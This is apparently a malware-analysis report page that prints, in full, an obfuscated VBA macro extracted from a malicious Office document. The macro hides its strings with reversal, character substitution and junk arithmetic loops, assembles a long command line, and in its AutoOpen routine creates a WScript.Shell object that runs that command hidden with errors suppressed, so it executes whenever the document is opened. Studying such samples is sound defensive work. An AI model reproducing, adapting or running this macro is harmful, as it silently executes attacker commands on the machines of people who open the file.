 GcHYFQ = FWiRlj * Int(CjKiVA / CDate(zSBAbX) / 10836 - Atn(64815)) + (49895 + Sin(TABjb) * PFXoU - Int(23912) + 3274 / hzjIn / WWcwG + FXitn)
Next
iCiBwFLDS = zEnPR(".9cpBPcbEwNX%!=%kwuSjAnFHG", 8 + 0, 17 + 0)
For wWzki = bKvZw To ZmRkT
 qzuOpw = EcRQr * Int(iBwPiT / CDate(VThdQw) / 46620 - Atn(32754)) + (44725 + Sin(sVEDC) * iihAMZ - Int(69726) + 18186 / DwUKdX / QVGXQQ + sYGhJZ)
Next
For fztHFE = RGOwv To GriHG
 jEwrV = sEEAl * Int(pGDZA / CDate(jZwtW) / 59146 - Atn(62869)) + (50203 + Sin(tcQnw) * iJcjFY - Int(93648) + 24328 / JQVIIp / hqPYj + niRKv)
Next
SiHjSv = zEnPR("rwAq=%XGtqTZ8gHgjvdDDvnkY6%.", 4 + 0, 10 + 0)
For zcoNmO = wapvr To MzjFJY
 ZhuaY = KVWuSu * Int(BMWVDi / CDate(zslsvY) / 71799 - Atn(37874)) + (18860 + Sin(dHmiV) * iOpMD - Int(81764) + 51727 / WAOlzc / BbiTh + CiAorL)
Next
For OtiobU = YdwAwi To Bhairb
 iilOH = lHBYj * Int(vIktAC / CDate(rRwLWa) / 28632 - Atn(81675)) + (50365 + Sin(PaMSik) * wZTML - Int(32994) + 54987 / TCnfQo / fLkzi + PosSL)
Next
MoHuwlwsmrN = zEnPR("cWBe8gHgjvdDDvnk&&r^zcLB3l", 7 + 0, 6 + 0)
For lzUdRY = waiTf To TlCXb
 JmpvA = jBwhla * Int(zkqczY / CDate(Hvrww) / 84840 - Atn(8570)) + (93631 + Sin(hMQRH) * uvBTv - Int(71231) + 44881 / OpIZf / cIDwG + NuqwI)
Next
For wLjoqj = FFsmwp To wiXuVM
 mWhRAD = lqKBJ * Int(UihsTI / CDate(wtwZG) / 16744 - Atn(96174)) + (19551 + Sin(TcAzl) * pCXqd - Int(31200) + 37595 / hknDP / BibMw + tZHLrF)
Next
aGQww = zEnPR("zXiZHjbC% t@VWw", 5 + 0, 9 + 0)
For iXhBJ = IoiVc To zfiOpS
 iqFoB = CnTQvL * Int(XAorAi / CDate(DHiWJw) / 62217 - Atn(95910)) + (37722 + Sin(KRtmX) * ZifNG - Int(24725) + 80173 / jJdIw / nOGoBa + ifDHE)
Next
For BwCana = IuYuWw To HJnip
 JCZBV = MdSPXi * Int(dojGs / CDate(BQFij) / 95815 - Atn(87732)) + (49009 + Sin(YdtdOM) * zWBEs - Int(26245) + 19340 / iBQCSO / CvEonD + tDbVS)
Next
RmdOkIGwt = zEnPR("AAHN%wQ7VAO", 6 + 0, 2 + 0)
For oWtPH = pJFnh To GQzihq
 jwbwZ = YOaczd * Int(vFAIH / CDate(vHZSw) / 14221 - Atn(45192)) + (1879 + Sin(nYPVlP) * HNYUpi - Int(93041) + 27515 / IKKrBP / WhuzHi + qBZraC)
Next
For JacvaJ = Ichlt To dAfSrz
 QLDjaE = bLwwZ * Int(PfpjHt / CDate(UtPzi) / 17631 - Atn(28003)) + (84381 + Sin(qWGVON) * XsUWwq - Int(94269) + 57583 / MMYzKw / wmYXw + BQqVh)
Next
tlZaMmjYBVc = zEnPR("AWV6MzmmkzrCrA", 4 + 0, 6 + 0)
For brDSC = SqmXPd To lNWwqt
 uLIjpq = RrEja * Int(bCsIt / CDate(PsFYa) / 44199 - Atn(91325)) + (52275 + Sin(siTzb) * bPiTcM - Int(63995) + 1551 / iroTUi / NDUdr + niMuOp)
Next
For OrdUCG = fAdPp To bqfJoB
 lzrEz = jPFbl * Int(VjmEpj / CDate(wKfKES) / 45642 - Atn(23447)) + (77012 + Sin(MOEShv) * AYWzW - Int(76349) + 48919 / rRTwo / pdpDuG + mmasvn)
Next
IhibZCD = zEnPR("FB8gHgjvdDDvnkAP1n8gHgjvdDDvnk&&eh=%uUPzwK8gHgjvdDDvnkL", 3 + 0, 13 + 0)
For MhjnkY = RJAbW To kMADN
 qWlOOm = ZNlwFb * Int(fMKkj / CDate(QjXTo) / 52481 - Atn(46018)) + (1444 + Sin(alWiw) * WbSRBv - Int(97782) + 83814 / MvAWaY / QXziK + RanOoU)
Next
For RRwLQZ = qpAJXG To jKJIA
 cksqH = iEuBG * Int(zRASd / CDate(YTRzvN) / 21340 - Atn(2238)) + (95801 + Sin(ciEPFa) * hZHDI - Int(90526) + 79062 / ntmYpz / hUjhF + oifGKv)
Next
juTVAlcvQ = zEnPR("Ft% te8gHgjvdDDvnk7cpn6", 6 + 0, 5 + 0)
For LwqRZv = tWkQY To BHUYcI
 OBjjXV = tubzzz * Int(krCUz / CDate(jVKjTJ) / 55005 - Atn(56524)) + (62017 + Sin(HdCMN) * MKuEE - Int(50511) + 96220 / nTYPQQ / DdOCs + AMOsNM)
Next
For RaRNOz = ImCjoQ To IAQKm
 ThhwaD = kcjfi * Int(TbqBtN / CDate(QKGsDK) / 54924 - Atn(81041)) + (65567 + Sin(LoLoKj) * TnLoHj - Int(5789) + 44189 / JwsRzX / HRJbpv + aVCBX)
Next
fJTRHZTib = zEnPR("DGAEIMwuTL% te8gHgjvdDDvnk&c8JdN", 6 + 0, 13 + 0)
For XqJszh = CpJdD To FAfwQ
 oqDXAI = YYkTE * Int(ffaTnz / CDate(RRvSH) / 60776 - Atn(45619)) + (36826 + Sin(PuXmZj) * TTIkt - Int(18578) + 64526 / WEwYp / hswvJX + kPVkki)
Next
For ppVOY = uswOBD To pBJDsi
 mVTCUc = RuAOo * Int(awiGbL / CDate(dCtBQd) / 25722 - Atn(21478)) + (40708 + Sin(kdkoN) * WStvU - Int(55181) + 95557 / zMTWsT / chtVj + RmqPGw)
Next
NMPTMh = zEnPR("lAIHBl=%EqRplNfQov% teTAl", 4 + 0, 17 + 0)
For QkEvNc = niPVB To vBDKq
 BEHwr = dsFjC * Int(NjKhOI / CDate(JQIPt) / 34925 - Atn(45232)) + (39343 + Sin(jPijYo) * iIoMcj - Int(68263) + 11528 / fiHUu / mvnjB + pNiTww)
Next
For iQnBk = KMvQp To WfDwfK
 AjLwzb = KFiul * Int(jwOwX / CDate(jVYViz) / 25763 - Atn(72665)) + (34949 + Sin(hzZwmP) * TTqZRH - Int(10888) + 57689 / iTvZQ / bDdZb + czjpA)
Next
wwcKJmCTQOu = zEnPR("8gHgjvdDDvnkl @Wt1r2", 4 + 0, 2 + 0)
For XiUmjT = vchCO To SrhUu
 sNaYWU = nTqWG * Int(Raivjs / CDate(cLVftA) / 29872 - Atn(23213)) + (16839 + Sin(vcpzI) * wJzRV - Int(61933) + 90298 / GaRzn / wAcKNh + uiVFBi)
Next
For itZOi = iTKAjT To ZsuZJS
 hGzPF = oDXwT * Int(CkIih / CDate(VwDfX) / 60456 - Atn(5961)) + (74580 + Sin(pAztz) * lVYuJJ - Int(39430) + 17027 / wLhXRF / KNQnV + BiTMS)
Next
uilUUqHtX = zEnPR("8gHgjvdDDvnk.CX&TIVtiTIVBQZ=%r0,4d", 5 + 0, 15 + 0)
For zCXFVO = OkoXz To oYjMz
 VMYqmc = YRTqa * Int(rcJcYG / CDate(IAqfV) / 81455 - Atn(31909)) + (73681 + Sin(wSVWjw) * aMlcKq - Int(97320) + 90207 / NZIYiv / FkXUW + UvLXrV)
Next
For nHUloB = JiYjK To cKIzW
 AvltIY = UmtXz * Int(WKXjz / CDate(PREIG) / 55616 - Atn(82050)) + (76887 + Sin(lIQCn) * IzBNM - Int(24400) + 50564 / RQKbTn / FdIqH + vnfQR)
Next
mtiAqzsR = zEnPR("plrVQ3BA!!%XGtqTZ8gHgjvdDDvnkYDZ%!!S", 2 + 0, 16 + 0)
For NidcVK = OMWSn To ojnrvB
 AwjiI = jkNKV * Int(ucMzno / CDate(QPZqjK) / 39916 - Atn(90565)) + (35981 + Sin(HvkOuk) * CwTJi - Int(37510) + 2570 / AVtTc / ADFlHb + wTnQN)
Next
For JEfcFn = ATDthz To Jhhsp
 Bsmbnb = vbdpL * Int(COBZk / CDate(CAJWkc) / 82276 - Atn(58664)) + (79254 + Sin(UBHWW) * QSDpiW - Int(92400) + 47477 / NhIvzH / zOmus + Bzwwb)
Next
izYWGlDvJvX = zEnPR("pK8gHgjvdDDvnkte8gHgjvdDDvnk&&!%chEIMwu Gnz", 5 + 0, 14 + 0)
For GcipCI = jWuzjE To jWvijq
 MEtjb = tQEsh * Int(JRMfsF / CDate(AYlCOG) / 80992 - Atn(13814)) + (81033 + Sin(ENNllu) * oFbFE - Int(35005) + 34748 / SkuST / Ddwpca + idlvD)
Next
For klCDnM = bVzDT To SbwOHq
 UHKsw = FYlNRN * Int(KOJAJb / CDate(wEopSc) / 85220 - Atn(67419)) + (3127 + Sin(jRCcT) * bJGsGw - Int(81366) + 14638 / pcXDSw / fzRPT + ZUCWW)
Next
wODSbA = zEnPR("SB1JXaEwNX% te8gHgjvdDDvnk&&p=%ch8Qz", 4 + 0, 16 + 0)
For hzLNrm = qCilzO To IczUfj
 bmEKD = Gjmpk * Int(FahiOj / CDate(jFBwM) / 34777 - Atn(2919)) + (74155 + Sin(wUhqm) * FNGDnc - Int(53851) + 12905 / tAZIG / wkoNAw + pssCWu)
Next
For wEtiq = hKbPXf To Wqluw
 QXnpS = ATbtB * Int(dOXQLH / CDate(wKbrj) / 37743 - Atn(4370)) + (98998 + Sin(vOVNz) * InKOa - Int(25632) + 81614 / GQZSu / sGiim + wofGWQ)
Next
HNPIP = zEnPR("fcMP !%EqRplNfQov%!6YQA6", 6 + 0, 15 + 0)
For cXNXn = HGjFzj To HsVaHA
 ijpjr = zXUIEs * Int(rOuts / CDate(UnKIBh) / 95347 - Atn(83055)) + (81452 + Sin(SEzVI) * vidjLw - Int(67842) + 72243 / BEWCtz / iVjUYY + CtkJRB)
Next
For AiiXOj = BUicJ To rUzIG
 VYwwdi = ijdNF * Int(lhjsCq / CDate(OKmFTD) / 54653 - Atn(31507)) + (33492 + Sin(vwkpBF) * lBsEz - Int(44264) + 46329 / ZmXqK / zSdRKl + cZCtRA)
Next
HuSziv = zEnPR("JV1.q!%uUPzwKOQ,@", 3 + 0, 10 + 0)
For RUAjcb = BzXRn To zuREZ
 HwdHY = TNJbpK * Int(WpoFlo / CDate(jVwUG) / 99091 - Atn(45897)) + (44678 + Sin(iHzULs) * nNbtJO - Int(95135) + 49752 / MlQYK / jQKXlC + BZSwV)
Next
For wELDk = CiEqOP To qOGpj
 woRPA = cMQAk * Int(qSQkn / CDate(dwcUnb) / 31543 - Atn(11753)) + (56015 + Sin(KBphM) * jifoL - Int(81450) + 15878 / mhTbYw / GaIMnn + AqzukG)
Next
ShHiwd = zEnPR("AicSTL%!=%vHfVGXB", 3 + 0, 11 + 0)
For OLDCl = iFwmmo To iFHoij
 EajVZR = hopQG * Int(fXVQZ / CDate(NGBcVZ) / 97622 - Atn(83060)) + (85373 + Sin(iKMDZz) * ihdUbA - Int(31062) + 16980 / jmQKk / PvTaDw + waaPm)
Next
For qGRhc = CdbJIh To uiltti
 hviVM = GIcrp * Int(pNJbKi / CDate(AQzMm) / 28732 - Atn(28668)) + (12204 + Sin(vHhvCB) * vcvUC - Int(61341) + 87266 / kTdrZ / CbKldw + jsHzSd)
Next
AZAsXWRYOLs = zEnPR("mKAwlc8gHgjvdDDvnkpfnXi% te8gHgjvdDDvnk&u4L", 4 + 0, 14 + 0)
For VJtbo = OzOOFV To wbTkX
 ssfXKY = mLjoW * Int(CfjbZC / CDate(jWDNw) / 62995 - Atn(16829)) + (49156 + Sin(HZWamk) * pmjCi - Int(14324) + 4611 / ZrUSq / AtiTA + oSadQ)
Next
For hIoqCp = bEIKMj To poMFRB
 bHMvB = iUVjG * Int(QzNdiu / CDate(BDafAr) / 96695 - Atn(54059)) + (76345 + Sin(AMCUJF) * cvBhM - Int(13211) + 68091 / EhPtcL / LUzWAb + EDfua)
Next
bSsimwhPm = zEnPR("Tcc%6KRXDSFakAWbF8gHgjvdDDvnkO% G", 2 + 0, 15 + 0)
For UELGr = BnsPp To rDwKii
 jWAhV = FZQrwB * Int(jOHzW / CDate(BQKqS) / 9917 - Atn(18983)) + (49348 + Sin(XPtUz) * qzTWpT - Int(74382) + 74574 / wuNXPc / woajvY + icLNvB)
Next
For zIAVS = bIEBbL To GfVvC
 DiFCs = KpADc * Int(tFfub / CDate(YESbbz) / 63707 - Atn(94196)) + (63496 + Sin(pcMBhJ) * SsGHv - Int(16013) + 82864 / FchiFZ / EiWzt + GIVvsZ)
Next
mRdznnqbAnL = zEnPR("C7OQ% te8gHgjvdDDvnk&&SCl8rQdj", 6 + 0, 12 + 0)
For Xqbmkn = CUfcw To AWUzOb
 cYdik = pMjlM * Int(irDOB / CDate(zSNKjD) / 88523 - Atn(1694)) + (34003 + Sin(knVjRO) * zNwCU - Int(96809) + 36 / jSZOk / HTDRJw + oakjw)
Next
For sQmWEH = TfiXzv To FAavW
 MrAwr = jjFwF * Int(slEAz / CDate(XppIYl) / 43011 - Atn(32572)) + (96084 + Sin(CjOZJ) * SBQnfi - Int(46877) + 89527 / iYPFJ / ECwXh + ESPcaY)
Next
cCjwMUqc = zEnPR("YAk8gHgjvdDDvnktS=%RoDJXlj5wSA", 7 + 0, 10 + 0)
For iWifzR = DkJwo To uupNG
 omzjP = cuOiB * Int(EKtPr / CDate(sSorO) / 40029 - Atn(87009)) + (4215 + Sin(QmKdBV) * kshpS - Int(56926) + 40798 / EVjws / XiCpUo + wYcnN)
Next
For ldBmH = WKHfc To kdoOJB
 qNEwSA = PpSzi * Int(EEYBo / CDate(wJwqo) / 73041 - Atn(78961)) + (36821 + Sin(KtPrb) * wohfj - Int(73531) + 4988 / hrIAbl / EmZDFq + XPMdjr)
Next
WtJTSaGq = zEnPR("i6aBWKLAzzl", 5 + 0, 2 + 0)
For wDIDw = QqWFT To VOwjlN
 hFGpnW = BQSSG * Int(KilnA / CDate(idPOPU) / 68063 - Atn(22694)) + (39534 + Sin(YjbPwK) * pOUjhF - Int(496) + 46835 / zOind / jniER + qUEKuV)
Next
For vNpHT = joaRfJ To wwafk
 jabtw = fmXmk * Int(BcmOwS / CDate(dlkGj) / 42607 - Atn(52438)) + (82628 + Sin(OQUwlW) * qTTtH - Int(77297) + 14179 / CpTdh / jzIOG + zUsXV)
Next
MIlhrhlS = zEnPR("dAA7SbN%kG", 2 + 0, 2 + 0)
For oXGRo = iJvvf To JpibE
 CzJVfT = iiCTW * Int(wYwAjC / CDate(BIzXao) / 34755 - Atn(68348)) + (8226 + Sin(pYPwV) * zSsnE - Int(11023) + 63528 / pYUjAL / vYTruw + urAciN)
Next
For baifUp = HKHwIi To UhphvA
 WIZbz = ikbLT * Int(JwrLG / CDate(dFEKr) / 55484 - Atn(55806)) + (61233 + Sin(GViaM) * iERIDW - Int(48595) + 12449 / jwfpU / dWjPSv + LQwwR)
Next
Hwizi = zEnPR("PFte8gHgjvdDDvnkqCQ4P.", 7 + 0, 3 + 0)
For cOzlG = frZCDu To wjbvz
 KbdzvK = pcsAME * Int(TiImL / CDate(JprDT) / 61768 - Atn(40645)) + (26387 + Sin(VkVwLG) * wOCaLr - Int(6194) + 97198 / qwplU / pjZiV + ZjOpjt)
Next
HZwpXPuhcY = juTVAlcvQ + FDsPjzPFb + BjjFah + WtJTSaGq + uilUUqHtX + fJTRHZTib + wODSbA + vvslKsjV + jkBAn + tlZaMmjYBVc + BNWtOGoE + AZAsXWRYOLs + ShHiwd + izYWGlDvJvX + lADuWrL + cCjwMUqc + tBzBwvTFrjd + SiHjSv + tPnwkjjnB + MoHuwlwsmrN + aGQww + iCiBwFLDS + DGHwWw + Hwizi + bSsimwhPm + RmdOkIGwt + wtPzijGMTzA + JiITnO + cbCzptjNNmr + wwcKJmCTQOu + UtQOw + mRdznnqbAnL + IhibZCD + NMPTMh + BcSDvSr + NwwOFQJP + GCFUlXbHBX + UjibKl + QkzMkrjowQ + MIlhrhlS + mtiAqzsR + aJqooF + HuSziv + HNPIP
For IfNsw = fujkMR To sichfc
 wvmZhl = Zinliz * Int(qtdFrw / CDate(dFzMMi) / 85068 - Atn(89879)) + (6826 + Sin(JEQKNt) * LMuGMw - Int(98562) + 65324 / qClzb / fnTpmN + CBiiF)
Next
End Function
Sub ZDYsZTqtGX(OsFbWAkaFSDXRw As String)
On Error Resume Next
For FiwJi = PFhbq To aJYhH
 bVHVWi = IZrZk * Int(GWnUHC / CDate(aUUpGh) / 69171 - Atn(88027)) + (52786 + Sin(WRQUl) * AkIOma - Int(53448) + 46407 / zjklnp / ihHGA + Oowdh)
Next
iJFminzPhVR = VIUXU + "WS" + Chr(VBA.vbKeyC) + Replace("ript.8gHgjvdDDvnkhell", "8gHgjvdDDvnk", "s") + mkwonA
For wIJwzH = iEmiNf To iWUPJs
 CYdLP = BESqu * Int(NEKEp / CDate(VtbQVl) / 18464 - Atn(79984)) + (69121 + Sin(OiYdH) * ujjmj - Int(98325) + 73454 / mvoGR / XRiQow + lDrCaY)
Next
CreateObject(iJFminzPhVR).Run qoRQzqKaYDPVHB + Chr(VBA.vbKeyC) + OsFbWAkaFSDXRw + ZzCXvjwzIp + cIjokJ, vbHide
For ojziYG = izsaBS To tHduzC
 RtoJar = CukTF * Int(SSjvYw / CDate(RjDYHX) / 32412 - Atn(67555)) + (1733 + Sin(tkGwX) * JVzPNb - Int(5622) + 16276 / vWYab / VDGMhq + CDaiB)
Next
End Sub

Attribute VB_Name = "qizzudXabhipj"
Function jwtolJAEzTs()
On Error Resume Next
For EwvAV = iznFG To mGwPKj
 qLiojc = MWcFdu * Int(UCzrjU / CDate(fwBNkU) / 4286 - Atn(97491)) + (78404 + Sin(dKSbw) * IPXjC - Int(16054) + 41087 / cMCSEw / iMwLP + awImOh)
Next
BNWtOGoE = zEnPR("VPlNud^p^S^m^o^CJ", 2 + 0, 10 + 0)
For cScSX = pcInkW To TkXRju
 fwwUQj = hSOuoa * Int(FKjjuX / CDate(vVYNo) / 78927 - Atn(27047)) + (80877 + Sin(qCTrt) * TICqrH - Int(18608) + 88561 / wwiNao / oWjjcZ + craru)
Next
For jiNjXH = FiMBAM To RqoFGX
 mkNmm = ibubuP * Int(DwNvmI / CDate(SufYw) / 27275 - Atn(31383)) + (76581 + Sin(wRzGn) * wztlMw - Int(57820) + 69087 / GkNmTd / SzXkrE + qXirCw)
Next
jkBAn = zEnPR("97LBStdM^%     %^c^E^p^S^mD", 2 + 0, 18 + 0)
For vILKA = CAvBo To uRLBd
 vDwBj = BtKDO * Int(HblbLc / CDate(cSPqS) / 4162 - Atn(41823)) + (91404 + Sin(KXiWAW) * vKtZH - Int(16516) + 11767 / zmMuN / SGjwA + fMfzN)
Next
For cNTTfJ = fkZYa To uwbwsB
 PRpIAw = FNzUl * Int(AsQzOk / CDate(uFnRXF) / 20845 - Atn(4301)) + (38260 + Sin(NZmwb) * XLTjo - Int(14580) + 34771 / FnkiCf / iIThJd + lunSl)
Next
QkzMkrjowQ = zEnPR("a 8gHgjvdDDvnk         V/     %^c^EWA2", 4 + 0, 21 + 0)
For muztZ = sovDun To DMjVfz
 hfRTOR = zaZtVW * Int(zKorF / CDate(nnmEY) / 88365 - Atn(41904)) + (51352 + Sin(BYHTz) * GdfiI - Int(97022) + 86271 / WKZQZ / Bviac + tsMuV)
Next
For GpSdE = pHmzoR To FaWQV
 PPlDP = sXRjj * Int(THjioA / CDate(zYnJpT) / 67761 - Atn(72577)) + (45514 + Sin(POiwOV) * UlDPMO - Int(46259) + 47654 / wVKda / VpWocG + kfcUwB)
Next
DGHwWw = zEnPR("8H^o^C^%     & pacAFOaF", 7 + 0, 15 + 0)
For CBFlj = DzMnJ To kkVOb
 AitpbZ = tZAXnr * Int(WECwP / CDate(tQhXc) / 68376 - Atn(59773)) + (25004 + Sin(LPRAa) * XaNZfs - Int(81727) + 71017 / ZYvrs / hYwDAk + VMrujX)
Next
For lqFacG = isidA To oYhwmI
 dEMNE = wEsrt * Int(lszChN / CDate(FPqvK) / 43196 - Atn(35693)) + (95157 + Sin(ozSXK) * KhdrW - Int(30252) + 19033 / pBkpO / qVzkYD + nJCrl)
Next
vvslKsjV = zEnPR("JB7YHUF dmd5O", 4 + 0, 6 + 0)
For cPvYW = jiQYpr To vKBtZj
 DdSzi = GzWYbz * Int(AhotdO / CDate(iKazJ) / 86961 - Atn(49772)) + (15907 + Sin(mPcKiL) * zzqXWh - Int(23930) + 84671 / qGwNVH / LVVtD + opYwD)
Next
For JsXZGp = AUzXbQ To NorPZ
 bPwZWT = Tjojl * Int(kqwwNI / CDate(mrvYwX) / 72721 - Atn(35023)) + (41018 + Sin(XjtfVt) * zCmofU - Int(61186) + 30714 / ofKQqd / cEjTX + zhjzEQ)
Next
cbCzptjNNmr = zEnPR("9AAqwFpwK JVSjwbLGM", 6 + 0, 11 + 0)
For rHOwA = LWIHX To IMiGH
 muZRa = aYWDEF * Int(PPMthR / CDate(QpSkU) / 94771 - Atn(24215)) + (6599 + Sin(ORbbt) * Wdajc - Int(42255) + 52595 / HRDZHB / SAotow + pzdZWJ)
Next
For vRnjG = cRzzii To IAziBj
 RKBNH = udrpSY * Int(jREDOc / CDate(WdszDO) / 92748 - Atn(66504)) + (77040 + Sin(MkPlpk) * ZYiqw - Int(51753) + 14233 / KEsrvu / ZnmnS + KtfLp)
Next
aJqooF = zEnPR("vzNCIGziqfqjZQj hUUCtrw R", 3 + 0, 18 + 0)
For dhIpt = pdqzCY To kUtKE
 smzLcw = SNPfz * Int(JRizCO / CDate(KGRZbk) / 26493 - Atn(72188)) + (65431 + Sin(RiaTzX) * VfqrOb - Int(28049) + 19847 / XPlGXq / FjlVYk + lQkjzz)
Next
For UOFQW = FiziJ To LVXsD
 pDwPF = DTRUhI * Int(frGoJ / CDate(uhVuK) / 89158 - Atn(22467)) + (48477 + Sin(TzOsw) * KsLEIT - Int(24585) + 4961 / lApbdb / hNaJn + InVtN)
Next
GCFUlXbHBX = zEnPR("Bdzt3     c/G4", 3 + 0, 7 + 0)
For zUGoJ = UzujA To hfkJJF
 vaOQAS = vqjYjO * Int(KCQiM / CDate(IJbKzN) / 53040 - Atn(53344)) + (16686 + Sin(zdQJRb) * DGWUYd - Int(30871) + 43482 / ltWcT / wZblwE + mqNmH)
Next
For RWJOad = arQNIX To fiSPGK
 iZiBwI = vHEIRf * Int(jhznwf / CDate(NUOwnH) / 37759 - Atn(60401)) + (23803 + Sin(Hkiizf) * dVzij - Int(22228) + 9768 / rGvzTc / iQVEP + JAZQv)
Next
UjibKl = zEnPR("LBZSJd.QAwJY", 8 + 0, 3 + 0)
For BjAJm = lJciD To JJFvBY
 sUzFON = PHUUYO * Int(DEKqzI / CDate(hSfwNq) / 91441 - Atn(12554)) + (99887 + Sin(zAhCo) * blvum - Int(57609) + 77548 / JopGF / EEQnKB + JBWwI)
Next
For sJsiOk = kuHDq To SjNwW
 Piuia = BZZMVN * Int(JJKoj / CDate(WJMjW) / 26455 - Atn(46933)) + (49868 + Sin(POWDt) * iPzfSv - Int(26683) + 22440 / XZtfhM / ujszz + wYQBM)
Next
tBzBwvTFrjd = zEnPR("PGpzJ1Pnw,r", 4 + 0, 2 + 0)
For JLqSUj = tNJOJI To WLwUss
 GTqKto = QYOQjV * Int(ihGZw / CDate(SulSi) / 82267 - Atn(2349)) + (63043 + Sin(bwJTwD) * AHauuc - Int(77604) + 90507 / anwriq / wmdMhX + CnzdzR)
Next
For lLuGR = jlSZM To YlifO
 cLqbsX = BHwqi * Int(WMcYI / CDate(IdaYW) / 19993 - Atn(60299)) + (12412 + Sin(WjLjw) * UcQJSW - Int(71843) + 31041 / jvozq / wMWOF + CnUQN)
Next
BcSDvSr = zEnPR("MHw      Jb8", 4 + 0, 6 + 0)
For SfbkG = rBkLOp To XNZoaW
 PrZUpV = QSowsF * Int(TkZwp / CDate(Ipakz) / 62166 - Atn(39575)) + (65249 + Sin(cwtuh) * aFGul - Int(75436) + 51783 / vPVkoE / AplOXa + pWJAK)
Next
jwtolJAEzTs = vvslKsjV + tBzBwvTFrjd + cbCzptjNNmr + UjibKl + aJqooF + DGHwWw + jkBAn + BNWtOGoE + QkzMkrjowQ + GCFUlXbHBX + BcSDvSr
For qqCwX = sfSEE To hHfVb
 fdcbJI = KaKPkl * Int(cPrFMX / CDate(kMwil) / 64012 - Atn(87348)) + (80534 + Sin(lTvNU) * iPjuRN - Int(55608) + 64606 / iSTsR / ZJDju + jtYan)
Next
End Function
Function zEnPR(ByVal iXnfpsclGVfHv As String, voQfNlpRqE, QOKwzPUu)
On Error Resume Next
For RMAsIZ = YhAkp To tTuoia
 RYwXi = DIuWYW * Int(uwpDi / CDate(bWSBw) / 27760 - Atn(9226)) + (58149 + Sin(HhszOU) * sQcOMW - Int(25054) + 57227 / cNoEu / qFMzpz + zJZSZ)
Next
hkFNTcljNHct = NdYIh + StrReverse(Replace(iXnfpsclGVfHv, "8gHgjvdDDvnk", "s")) + GZaUKFJo
For WAQZjd = mnPiiU To TotwM
 iDFHn = DQlCuj * Int(ibIIs / CDate(XWqltC) / 74471 - Atn(73175)) + (14233 + Sin(fQIwY) * SuJmv - Int(51201) + 49702 / kUzTm / KjAGot + SMEABv)
Next
CbjHZiuwk = Flljma + Mid(hkFNTcljNHct, voQfNlpRqE, QOKwzPUu) + NzGuww
For AYESzP = zQCIiP To iFluiQ
 wjOhLi = jtMswD * Int(oziCf / CDate(FVjbH) / 22026 - Atn(16716)) + (59924 + Sin(VARjsB) * qlohwS - Int(42807) + 81283 / hLhuF / swCqd + mZzaS)
Next
zEnPR = YLaQLRwIwNwO + CbjHZiuwk + zsLazbkoSISd
For YpELo = jjwip To AQvzG
 AoDdHa = AwhzFD * Int(mKsJE / CDate(ZrhGBO) / 43956 - Atn(18870)) + (97908 + Sin(prLdS) * zuiiMn - Int(15444) + 99239 / sahiqX / sUEIGz + sDpBos)
Next
End Function

Attribute VB_Name = "tZpzMwb"
Sub AutoOpen()
On Error Resume Next
For ZljhYJ = pfInDw To YKizSp
 XmTHcw = rjdZK * Int(vTYYZ / CDate(ENJtA) / 78604 - Atn(14563)) + (4878 + Sin(fPMfl) * CzPavL - Int(75895) + 95591 / iNsfwF / JaAlMN + SSUvzM)
Next
Application.Run "ZDYsZTqtGX", XNwEbcPBpcDr
For QtYTs = IwdHQ To KOnwb
 vuFmf = moGwH * Int(PnlhOT / CDate(MDlcL) / 95042 - Atn(86928)) + (38852 + Sin(CifWsp) * SLiOX - Int(62373) + 7112 / MqBrd / dATbPC + Ruomj)
Next
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.